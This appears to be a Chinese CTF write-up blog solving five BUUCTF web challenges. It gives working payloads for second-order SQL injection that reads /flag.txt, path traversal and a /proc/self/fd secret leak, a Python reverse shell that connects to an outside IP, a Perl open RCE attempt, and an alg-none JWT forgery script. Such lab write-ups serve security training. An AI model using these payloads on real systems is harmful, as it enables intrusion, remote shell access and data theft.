[CISCN2019 華北賽區 Day1 Web5]CyberPunk
參考:
[BUUCTF題解][CISCN2019 華北賽區 Day1 Web5]CyberPunk - Article_kelp - 部落格園 (cnblogs.com)
開啟原始碼發現一個引數
然後我們先把所有頁面的程式碼都獲取了
我只放出了change.php的原始碼
?file=php://filter/read=convert.base64-encode/resource=change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "訂單修改成功";
} else {
$msg = "未找到訂單!";
}
}else {
$msg = "資訊不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收貨地址</title>
<base href="./">
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>修改收貨地址</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>電話:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">修改訂單</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">訂單管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查訂單</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
對change.php
審計可以注意到會直接使用舊的address
欄位,顯然可以在二次注入。
然後我們就現在註冊的時候把注入語句存入address
欄位中,然後我們再去修改頁面,修改一些資訊,觸發sql語句,然後在查詢頁面可以看到注入的結果
我們先爆資料庫
首先建立訂單
',`address`=database()#
然後修改訂單
然後檢視訂單,就爆出庫了
接下來也不用爆庫爆表了,flag在flag.txt
,重複同樣的步驟搞一遍
',`address`=(select(load_file("/flag.txt")))#
[網鼎杯 2020 白虎組]PicDown
參考:
[網鼎杯 2020 白虎組]PicDown_ctf welcome 23333333333-CSDN部落格
Linux的/proc/self/學習_proc self-CSDN部落格
有一個輸入框,輸入之後發現url
產生變化
然後我想試試是不是檔案包含,發現是沒有一點反應的
file:///etc/passwd
那我再試試是不是目錄穿越
../etc/passwd
然後下載的時候他是一個圖片,但是我記事本開啟發現了檔案被讀取了
然後我們試試常規的flag
檔案,然後就出來了
../flag
然後搜了wp,這是非預期解,我們看看預期的怎麼個事
預期解
我們已經知道了是檔案讀取,然後我們看一下命令/proc/self/cmdline
然後我們看到這個python檔案叫做app.py
,我們現在看一下他的原始碼
/page?url=app.py
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
我們注意到剛開始從檔案中讀取了一個SECRET_KEY
,然後之後把檔案刪了,我們也讀取不到了,但注意到他沒有關閉這個檔案當時,所以我們可以在/proc/self/fd/xxx
找到這個檔案
那我們去試試獲取一下這個檔案,讀取key
/page?url=/proc/self/fd/3
97cbE/DWH2jLX3/bmDEX93UFnUPaOgDB/F8CTxph0Ek=
有了這個KEY
我們看一下後面,在/no_one_know_the_manager
這個頁面,我們會傳入一個key
,當它等於SECRET_KEY
這個值,我們會傳入一個shell
引數,然後就會命令執行,而我們也獲取到了key
但是os.system
沒有回顯,我們選擇反彈shell,這邊我用稜角社群生成的,記得選擇python那個[~]#稜角 ::Edge.Forum* (ywhack.com)
/no_one_know_the_manager?key=97cbE/DWH2jLX3/bmDEX93UFnUPaOgDB/F8CTxph0Ek=&shell=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.130.131.63",1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);%27
[HITCON 2017]SSRFme
參考:
[BUUCTF HITCON 2017]SSRFme 1-CSDN部落格
[刷題HITCON 2017]SSRFme - kar3a - 部落格園 (cnblogs.com)
【HITCON 2017】SSRFme——最簡單偽協議思路 - CAP_T - 部落格園 (cnblogs.com)
開啟題目就是一個原始碼甩過來
我麼在這裡看一下程式碼,我們在XFF
欄位傳入一個ip,然後會建立出一個目錄,名字為orange+ip
的md5加密過後,此處我都用的127.0.0.1
然後我們的工作目錄就會變成這個新生成的目錄,然後我們會傳入一個引數url
,使用了GET來進行檔案的執行操作,
file_put_contents(basename($info["basename"]), $data);
這個將我們linux命令生成的結果,放入了檔案中(如果傳入的檔名是123,那麼$data就被放入sandox/cfbb870b58817bf7705c0bd826e8dba7/123中)
然後我們先試試讀取檔案
?url=./../../&filename=123
然後訪問
/sandbox/cfbb870b58817bf7705c0bd826e8dba7/123
然後我們去看看根目錄的檔案
?url=./../../../../../&filename=123
然後訪問
/sandbox/cfbb870b58817bf7705c0bd826e8dba7/123
然後我們直接訪問flag
是空的,我們看到後面readflag
是二進位制檔案,訪問後就可以下載下來,所以我們應該執行readflag
才能得到我們心心念唸的flag
利用perl語言的漏洞:因為GET函式在底層呼叫了perl語言中的open函式,但是該函式存在rce漏洞。
我們先創造一個同名的檔案
?url=&filename=|/readflag
然後
?url=file:|readflag&filename=123
但是我發現沒有用,還是得不到flag
然後就看到大佬利用一句話木馬得到flag【HITCON 2017】SSRFme——最簡單偽協議思路 - CAP_T - 部落格園 (cnblogs.com)
file_put_contents函式使用data偽協議控制其內容,這裡想透過GET後加data偽協議實現寫馬,但是我這裡也失敗了。
可能環境出了問題。
[b01lers2020]Welcome to Earth
參考:[BUUCTF之b01lers2020]Welcome to Earth_[b01lers2020]welcome to earth 1-CSDN部落格
開啟頁面就是我嘎了,但是URL已經成/die
,我們去掉看看,他很快就又跳轉了,我們抓包來搞
我們去這裡/chase
看看
然後我們去/leftt
看一下吧,別的都是死路一條
然後我們再去/shoot
看一下
然後去/door
看一下
然後我們再去這個js檔案看一下
然後再去/open
看一下
再訪問一下這個js檔案
然後再去/fight
看看
然後js
這裡應該是亂了,我們給他恢復一下
from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for i in item:
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)
pctf{hey_boys_im_baaaaaaaaaack!}
[HFCTF2020]EasyLogin
參考:
[HFCTF2020]EasyLogin-1|JWT身份偽造 - upfine - 部落格園 (cnblogs.com)
[BUUCTF---HFCTF2020]EasyLogin保姆級詳解。-CSDN部落格
F12檢視原始碼,發現app.js
,我們去看一下
題目告訴我們是koa
框架,程式碼內部有個/api/flag
,我們去了解一下這個框架nodeJs 進階Koa專案結構詳解 - des杜甫 - 部落格園 (cnblogs.com)
然後我們去訪問一一下/controllers/api.js
,找到一個jwt
生成以及和flag
相關的函式
生成jwt
使用了HS256
加密的,但是我們只要,當加密時使用的是 none
方法,驗證時只要金鑰處為undefined
或者空之類的,即便後面的演算法指名為 HS256
,驗證也還是按照 none
來驗證透過,那這樣的話我們就可以直接偽造jwt的資訊了,我們就改下面幾個欄位
改成如下的
但是啊,這個網頁是無法搞出來的,所以我們需要指令碼生成,先去下載PyJWT
這個庫
import jwt
token = jwt.encode(
{
"secretid": [],
"username": "admin",
"password": "123",
"iat": 1718346154
},
algorithm="none", key="").encode(encoding='utf-8')
print(token)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcxODM0NjE1NH0.
然後登入的時候抓包,修改
然後點選get flag